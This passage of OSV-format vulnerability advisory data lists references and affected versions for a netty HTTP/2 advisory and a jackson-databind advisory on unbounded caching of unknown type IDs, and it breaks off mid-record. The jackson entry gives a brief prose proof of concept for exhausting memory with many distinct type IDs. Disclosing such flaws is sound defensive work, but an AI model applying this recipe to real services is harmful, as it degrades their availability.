"https://lists.apache.org/thread.html/rbed09768f496244a2e138dbbe6d2847ddf796c9c8ef9e50f2e3e30d9@%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rbadcbcb50195f00bbd196403865ced521ca70787999583c07be38d0e@%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rb95d42ce220ed4a4683aa17833b5006d657bc4254bc5cb03cd5e6bfb@%3Cissues.hbase.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rb592033a2462548d061a83ac9449c5ff66098751748fcd1e2d008233@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rb523bb6c60196c5f58514b86a8585c2069a4852039b45de3818b29d2@%3Ccommits.servicecomb.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rb51d6202ff1a773f96eaa694b7da4ad3f44922c40b3d4e1a19c2f325@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rb06c1e766aa45ee422e8261a8249b561784186483e8f742ea627bda4@%3Cdev.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rae198f44c3f7ac5264045e6ba976be1703cff38dcf1609916e50210d@%3Ccommits.servicecomb.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/racc191a1f70a4f13155e8002c61bddef2870b26441971c697436ad5d@%3Ccommits.servicecomb.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/ra96c74c37ed7252f78392e1ad16442bd16ae72a4d6c8db50dd55c88b@%3Ccommits.servicecomb.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/ra83096bcbfe6e1f4d54449f8a013117a0536404e9d307ab4a0d34f81@%3Cissues.hbase.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/ra655e5cec74d1ddf62adacb71d398abd96f3ea2c588f6bbf048348eb@%3Cissues.kudu.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/ra64d56a8a331ffd7bdcd24a9aaaeeedeacd5d639f5a683389123f898@%3Cdev.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r9924ef9357537722b28d04c98a189750b80694a19754e5057c34ca48@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r96ce18044880c33634c4b3fcecc57b8b90673c9364d63eba00385523@%3Cjira.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r905b92099998291956eebf4f1c5d95f5a0cbcece2946cc46d32274fd@%3Cdev.hbase.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r9051e4f484a970b5566dc1870ecd9c1eb435214e2652cf3ea4d0c0cc@%3Cjira.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r8db1d7b3b9acc9e8d2776395e280eb9615dd7790e1da8c57039963de@%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r8bcaf7821247b1836b10f6a1a3a3212b06272fd4cde4a859de1b78cf@%3Ccommits.servicecomb.apache.org%3E" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpuapr2022.html" }, { "type": "WEB", "url": "https://www.debian.org/security/2021/dsa-4885" }, { "type": "WEB", "url": "https://security.netapp.com/advisory/ntap-20210604-0003" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rfff6ff8ffb31e8a32619c79774def44b6ffbb037c128c5ad3eab7171@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rf934292a4a1c189827f625d567838d2c1001e4739b158638d844105b@%3Cissues.kudu.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rf87b870a22aa5c77c27900967b518a71a7d954c2952860fce3794b60@%3Ccommits.servicecomb.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rf36f1114e84a3379b20587063686148e2d5a39abc0b8a66ff2a9087a@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/reafc834062486adfc7be5bb8f7b7793be0d33f483678a094c3f9d468@%3Ccommits.servicecomb.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/re7c69756a102bebce8b8681882844a53e2f23975a189363e68ad0324@%3Cissues.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/re6207ebe2ca4d44f2a6deee695ad6f27fd29d78980f1d46ed1574f91@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/re4f70b62843e92163fab03b65e2aa8078693293a0c36f1cc260079ed@%3Ccommits.servicecomb.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rddbb4f8d5db23265bb63d14ef4b3723b438abc1589f877db11d35450@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rdc096e13ac4501ea2e2b03a197682a313b85d3d3ec89d5ae5551b384@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rdb4db3f5a9c478ca52a7b164680b88877a5a9c174e7047676c006b2c@%3Ccommits.servicecomb.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rd8f72411fb75b98d366400ae789966373b5c3eb3f511e717caf3e49e@%3Cissues.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rd4a6b7dec38ea6cd28b6f94bd4b312629a52b80be3786d5fb0e474bc@%3Cissues.kudu.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rd25c88aad0e76240dd09f0eb34bdab924933946429e068a167adcb73@%3Ccommits.servicecomb.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rcfc535afd413d9934d6ee509dce234dac41fa3747a7555befb17447e@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rcfc154eb2de23d2dc08a56100341161e1a40a8ea86c693735437e8f2@%3Ccommits.servicecomb.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rcf3752209a8b04996373bf57fdc808b3bfaa2be8702698a0323641f8@%3Ccommits.hbase.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rcd163e421273e8dca1c71ea298dce3dd11b41d51c3a812e0394e6a5d@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rca0978b634a0c3ebee4126ec29c7f570b165fae3f8f3658754c1cbd3@%3Cissues.kudu.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r86cd38a825ab2344f3e6cad570528852f29a4ffdf56ab67d75c36edf@%3Cissues.hbase.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r3ff9e735ca33612d900607dc139ebd38a64cadc6bce292e53eb86d7f@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r3c4596b9b37f5ae91628ccf169d33cd5a0da4b16b6c39d5bad8e03f3@%3Cdev.jackrabbit.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r3c293431c781696681abbfe1c573c2d9dcdae6fd3ff330ea22f0433f@%3Cjira.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r393a339ab0b63ef9e6502253eeab26e7643b3e69738d5948b2b1d064@%3Cissues.hbase.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r33eb06b05afbc7df28d31055cae0cb3fd36cab808c884bf6d680bea5@%3Cdev.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r32b0b640ad2be3b858f0af51c68a7d5c5a66a462c8bbb93699825cd3@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r312ce5bd3c6bf08c138349b507b6f1c25fe9cf40b6f2b0014c9d12b1@%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r2e93ce23e04c3f0a61e987d1111d0695cb668ac4ec4edbf237bd3e80@%3Ccommits.servicecomb.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r2936730ef0a06e724b96539bc7eacfcd3628987c16b1b99c790e7b87@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r27b7e5a588ec826b15f38c40be500c50073400019ce7b8adfd07fece@%3Cissues.hbase.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r268850f26639ebe249356ed6d8edb54ee8943be6f200f770784fb190@%3Cissues.hbase.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r22b2f34447d71c9a0ad9079b7860323d5584fb9b40eb42668c21eaf1@%3Cissues.hbase.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r22adb45fe902aeafcd0a1c4db13984224a667676c323c66db3af38a1@%3Ccommits.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r1bca0b81193b74a451fc6d687ab58ef3a1f5ec40f6c61561d8dd9509@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r1908a34b9cc7120e5c19968a116ddbcffea5e9deb76c2be4fa461904@%3Cdev.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r16c4b55ac82be72f28adad4f8061477e5f978199d5725691dcc82c24@%3Ccommits.servicecomb.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r15f66ada9a5faf4bac69d9e7c4521cedfefa62df9509881603791969@%3Cjira.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r0b09f3e31e004fe583f677f7afa46bd30110904576c13c5ac818ac2c@%3Cissues.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r04a3e0d9f53421fb946c60cc54762b7151dc692eb4e39970a7579052@%3Ccommits.servicecomb.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r040a5e4d9cca2f98354b58a70b27099672276f66995c4e2e39545d0b@%3Cissues.hbase.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r02e467123d45006a1dda20a38349e9c74c3a4b53e2e07be0939ecb3f@%3Cdev.ranger.apache.org%3E" }, { "type": "PACKAGE", "url": "https://github.com/netty/netty" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r855b4b6814ac829ce2d48dd9d8138d07f33387e710de798ee92c011e@%3Cissues.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r837bbcbf12e335e83ab448b1bd2c1ad7e86efdc14034b23811422e6a@%3Ccommits.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r7bb3cdc192e9a6f863d3ea05422f09fa1ae2b88d4663e63696ee7ef5@%3Cdev.ranger.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r790c2926efcd062067eb18fde2486527596d7275381cfaff2f7b3890@%3Cissues.bookkeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r70cebada51bc6d49138272437d8a28fe971d0197334ef906b575044c@%3Ccommits.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r6d32fc3cd547f7c9a288a57c7f525f5d00a00d5d163613e0d10a23ef@%3Ccommits.servicecomb.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r6aee7e3566cb3e51eeed2fd8786704d91f80a7581e00a787ba9f37f6@%3Cissues.hbase.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r6a29316d758db628a1df49ca219d64caf493999b52cc77847bfba675@%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r6a122c25e352eb134d01e7f4fc4d345a491c5ee9453fef6fc754d15b@%3Ccommits.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r67e6a636cbc1958383a1cd72b7fd0cd7493360b1dd0e6c12f5761798@%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r67c4f90658fde875521c949448c54c98517beecdc7f618f902c620ec@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r602e98daacc98934f097f07f2eed6eb07c18bfc1949c8489dc7bfcf5@%3Cissues.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r5fc5786cdd640b1b0a3c643237ce0011f0a08a296b11c0e2c669022c@%3Cdev.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r5e66e286afb5506cdfe9bbf68a323e8d09614f6d1ddc806ed0224700@%3Cjira.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r5baac01f9e06c40ff7aab209d5751b3b58802c63734e33324b70a06a@%3Cissues.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r59bac5c09f7a4179b9e2460e8f41c278aaf3b9a21cc23678eb893e41@%3Cjira.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r584cf871f188c406d8bd447ff4e2fd9817fca862436c064d0951a071@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r57245853c7245baab09eae08728c52b58fd77666538092389cc3e882@%3Ccommits.servicecomb.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r5470456cf1409a99893ae9dd57439799f6dc1a60fda90e11570f66fe@%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r5232e33a1f3b310a3e083423f736f3925ebdb150844d60ac582809f8@%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r4ea2f1a9d79d4fc1896e085f31fb60a21b1770d0a26a5250f849372d@%3Cissues.kudu.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r490ca5611c150d193b320a2608209180713b7c68e501b67b0cffb925@%3Ccommits.servicecomb.apache.org%3E" } ], "affected": [ { "package": { "name": "io.netty:netty-codec-http2", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty-codec-http2" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "4.0.0" }, { "fixed": "4.1.60.Final" } ] } ], "versions": [ "4.1.0.Beta4", "4.1.0.Beta5", "4.1.0.Beta6", "4.1.0.Beta7", "4.1.0.Beta8", "4.1.0.CR1", "4.1.0.CR2", "4.1.0.CR3", "4.1.0.CR4", "4.1.0.CR5", "4.1.0.CR6", "4.1.0.CR7", "4.1.0.Final", "4.1.1.Final", "4.1.10.Final", "4.1.11.Final", "4.1.12.Final", "4.1.13.Final", "4.1.14.Final", "4.1.15.Final", "4.1.16.Final", "4.1.17.Final", "4.1.18.Final", "4.1.19.Final", "4.1.2.Final", "4.1.20.Final", "4.1.21.Final", "4.1.22.Final", "4.1.23.Final", "4.1.24.Final", "4.1.25.Final", "4.1.26.Final", "4.1.27.Final", "4.1.28.Final", "4.1.29.Final", "4.1.3.Final", "4.1.30.Final", "4.1.31.Final", "4.1.32.Final", "4.1.33.Final", "4.1.34.Final", "4.1.35.Final", "4.1.36.Final", "4.1.37.Final", "4.1.38.Final", "4.1.39.Final", "4.1.4.Final", "4.1.40.Final", "4.1.41.Final", "4.1.42.Final", "4.1.43.Final", "4.1.44.Final", "4.1.45.Final", "4.1.46.Final", "4.1.47.Final", "4.1.48.Final", "4.1.49.Final", "4.1.5.Final", "4.1.50.Final", "4.1.51.Final", "4.1.52.Final", "4.1.53.Final", "4.1.54.Final", "4.1.55.Final", "4.1.56.Final", "4.1.57.Final", "4.1.58.Final", "4.1.59.Final", "4.1.6.Final", "4.1.7.Final", "4.1.8.Final", "4.1.9.Final" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/03/GHSA-wm47-8v5p-wjpj/GHSA-wm47-8v5p-wjpj.json" } }, { "package": { "name": "org.jboss.netty:netty", "ecosystem": "Maven", "purl": "pkg:maven/org.jboss.netty/netty" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" } ] } ], "versions": [ "3.0.0.CR1", "3.0.0.CR2", "3.0.0.CR3", "3.0.0.CR4", "3.0.0.CR5", "3.0.0.GA", "3.0.1.GA", "3.0.2.GA", "3.1.0.ALPHA1", "3.1.0.ALPHA2", "3.1.0.ALPHA3", "3.1.0.ALPHA4", "3.1.0.BETA1", "3.1.0.BETA2", "3.1.0.BETA3", "3.1.0.CR1", "3.1.0.GA", "3.1.1.GA", "3.1.2.GA", "3.1.3.GA", "3.1.4.GA", "3.1.5.GA", "3.2.0.ALPHA1", "3.2.0.ALPHA2", "3.2.0.ALPHA3", "3.2.0.ALPHA4", "3.2.0.BETA1", "3.2.0.CR1", "3.2.0.Final", "3.2.1.Final", "3.2.10.Final", "3.2.2.Final", "3.2.3.Final", "3.2.4.Final", "3.2.5.Final", "3.2.6.Final", "3.2.7.Final", "3.2.8.Final", "3.2.9.Final" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/03/GHSA-wm47-8v5p-wjpj/GHSA-wm47-8v5p-wjpj.json", "last_known_affected_version_range": "< 4.0.0" } }, { "package": { "name": "io.netty:netty", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" } ] } ], "versions": [ "3.10.0.Final", "3.10.1.Final", "3.10.2.Final", "3.10.3.Final", "3.10.4.Final", "3.10.5.Final", "3.10.6.Final", "3.3.0.Final", "3.3.1.Final", "3.4.0.Alpha1", "3.4.0.Alpha2", "3.4.0.Beta1", "3.4.0.Final", "3.4.1.Final", "3.4.2.Final", "3.4.3.Final", "3.4.4.Final", "3.4.5.Final", "3.4.6.Final", "3.5.0.Beta1", "3.5.0.Final", "3.5.1.Final", "3.5.10.Final", "3.5.11.Final", "3.5.12.Final", "3.5.13.Final", "3.5.2.Final", "3.5.3.Final", "3.5.4.Final", "3.5.5.Final", "3.5.6.Final", "3.5.7.Final", "3.5.8.Final", "3.5.9.Final", "3.6.0.Beta1", "3.6.0.Final", "3.6.1.Final", "3.6.10.Final", "3.6.2.Final", "3.6.3.Final", "3.6.4.Final", "3.6.5.Final", "3.6.6.Final", "3.6.7.Final", "3.6.8.Final", "3.6.9.Final", "3.7.0.Final", "3.7.1.Final", "3.8.0.Final", "3.8.1.Final", "3.8.2.Final", "3.8.3.Final", "3.9.0.Final", "3.9.1.1.Final", "3.9.1.Final", "3.9.2.Final", "3.9.3.Final", "3.9.4.Final", "3.9.5.Final", "3.9.6.Final", "3.9.7.Final", "3.9.8.Final", "3.9.9.Final", "4.0.0.Alpha1", "4.0.0.Alpha2", "4.0.0.Alpha3", "4.0.0.Alpha4", "4.0.0.Alpha5", "4.0.0.Alpha6", "4.0.0.Alpha7", "4.0.0.Alpha8" ], "database_specific": { "last_known_affected_version_range": "< 4.0.0", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/03/GHSA-wm47-8v5p-wjpj/GHSA-wm47-8v5p-wjpj.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N" } ] }, { "id": "GHSA-wv8q-qhhj-9h54", "summary": "jackson-databind retains every unknown raw type ID ", "details": "### Summary\n\nWith `@JsonTypeInfo(use = Id.NAME, defaultImpl = ...)`, every distinct unknown\nraw type ID selects the same fallback deserializer but is retained as a\nseparate key in `TypeDeserializerBase._deserializers`. An attacker who can\nrepeatedly supply new unknown type IDs can grow this process-lifetime cache\nwithout a configured bound.\n\n### Details\n\nThe affected path is `TypeDeserializerBase._findDeserializer()`. After an\nunknown name-based type ID resolves to the configured fallback/default\nimplementation, jackson-databind caches the result under the attacker-provided\nraw `typeId`. Although all such IDs select the same fallback deserializer, each\nnew string remains a distinct cache key.\n\nThe behavior is runtime-confirmed in jackson-databind 2.22.1 and 3.2.1.\nCurrent 2.22 and 3.2 source branches retained the unbounded `_deserializers`\nmap and per-raw-ID cache write when rechecked. The earlier affected floor has\nnot been established, patched versions are: 2.18.11, 2.21.7, 2.22.3, 3.1.7 and 3.2.3.\n\nThe vulnerable application must enable name-based polymorphism with a\n`defaultImpl` or equivalent fallback, accept attacker-influenced type IDs, and\nreuse a long-lived mapper/type deserializer across requests.\n\nSuggested correction: avoid caching each unknown raw ID when every such ID\nresolves to the same fallback, use a fallback sentinel, or use an explicitly\nbounded concurrency-safe cache. A regression should contrast many distinct\nunknown IDs with repetitions of one unknown ID across requests.\n\n### PoC\n\nConfigure a polymorphic base type with\n`@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, defaultImpl = Fallback.class)` and\ndeserialize inputs containing unknown type names through the same mapper.\nInspect `TypeDeserializerBase._deserializers` after the run.\n\nOn affected 2.x and 3.x versions, 10,000 distinct unknown raw type IDs produce\n10,000 retained cache entries even though every input selects the same\nfallback deserializer. A matched control that repeats one unknown ID 10,000\ntimes produces one retained entry. This isolates attacker-controlled key\ncardinality from ordinary request count.\n\n### Impact\n\nWhere the stated polymorphic fallback configuration is exposed to\nattacker-influenced type IDs, distinct inputs cause incremental\nprocess-lifetime memory retention and eventual availability pressure or\ndenial of service. This is not claimed as a single-request allocation spike,\nand no fixed bytes-per-ID or time-to-out-of-memory value is asserted. No\nconfidentiality, integrity, or code-execution impact is claimed.\n\nRequested credit: Daniel Birtwhistle", "aliases": [ "CVE-2026-91776" ], "modified": "2026-09-30T15:46:18.451708212Z", "published": "2026-09-30T15:36:55Z", "database_specific": { "cwe_ids": [ "CWE-400" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2026-09-30T15:36:55Z", "nvd_published_at": "2026-09-23T03:17:04Z" }, "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-wv8q-qhhj-9h54" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91776" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/6203" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/2870d1d6dc1b7e1c07ee11dd5b04ab71cddbb577" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.11" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.7" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.3" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.7" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.3" } ], "affected": [ { "package": { "name": "com.fasterxml.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.0.0" }, { "fixed": "2.18.11" } ] } ], "versions": [ "2.0.0", "2.0.1", "2.0.2", "2.0.4", "2.0.5", "2.0.6", "2.1.0", "2.1.1", "2.1.2", "2.1.3", "2.1.4", "2.1.5", "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.12.7.1", "2.12.7.2", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1", "2.13.4.2", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.10", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7", "2.18.8", "2.18.9", "2.2.0", "2.2.0-rc1", "2.2.1", "2.2.2", "2.2.3", "2.2.4", "2.3.0", "2.3.0-rc1", "2.3.1", "2.3.2", "2.3.3", "2.3.4", "2.3.5", "2.4.0", "2.4.0-rc1", "2.4.0-rc2", "2.4.0-rc3", "2.4.1", "2.4.1.1", "2.4.1.2", "2.4.1.3", "2.4.2", "2.4.3", "2.4.4", "2.4.5", "2.4.5.1", "2.4.6", "2.4.6.1", "2.5.0", "2.5.0-rc1", "2.5.1", "2.5.2", "2.5.3", "2.5.4", "2.5.5", "2.6.0", "2.6.0-rc1", "2.6.0-rc2", "2.6.0-rc3", "2.6.0-rc4", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.6.7.1", "2.6.7.2", "2.6.7.3", "2.6.7.4", "2.6.7.5", "2.7.0", "2.7.0-rc1", "2.7.0-rc2", "2.7.0-rc3", "2.7.1", "2.7.1-1", "2.7.2", "2.7.3", "2.7.4", "2.7.5", "2.7.6", "2.7.7", "2.7.8", "2.7.9", "2.7.9.1", "2.7.9.2", "2.7.9.3", "2.7.9.4", "2.7.9.5", "2.7.9.6", "2.7.9.7", "2.8.0", "2.8.0.rc1", "2.8.0.rc2", "2.8.1", "2.8.10", "2.8.11", "2.8.11.1", "2.8.11.2", "2.8.11.3", "2.8.11.4", "2.8.11.5", "2.8.11.6", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.8.1", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.10.1", "2.9.10.2", "2.9.10.3", "2.9.10.4", "2.9.10.5", "2.9.10.6", "2.9.10.7", "2.9.10.8", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9", "2.9.9.1", "2.9.9.2", "2.9.9.3" ], "database_specific": { "last_known_affected_version_range": "<= 2.18.10", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wv8q-qhhj-9h54/GHSA-wv8q-qhhj-9h54.json" } }, { "package": { "name": "com.fasterxml.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.7" } ] } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4", "2.21.5", "2.21.6" ], "database_specific": { "last_known_affected_version_range": "<= 2.21.6", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wv8q-qhhj-9h54/GHSA-wv8q-qhhj-9h54.json" } }, { "package": { "name": "com.fasterxml.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.3" } ] } ], "versions": [ "2.22.0", "2.22.1", "2.22.2" ], "database_specific": { "last_known_affected_version_range": "<= 2.22.2", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wv8q-qhhj-9h54/GHSA-wv8q-qhhj-9h54.json" } }, { "package": { "name": "tools.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.7" } ] } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3", "3.1.4", "3.1.5", "3.1.6" ], "database_specific": { "last_known_affected_version_range": "<= 3.1.6", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wv8q-qhhj-9h54/GHSA-wv8q-qhhj-9h54.json" } }, { "package": { "name": "tools.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "3.2.0" }, { "fixed": "3.2.3" } ] } ], "versions": [ "3.2.0", "3.2.1", "3.2.2" ], "database_specific": { "last_known_affected_version_range": "<= 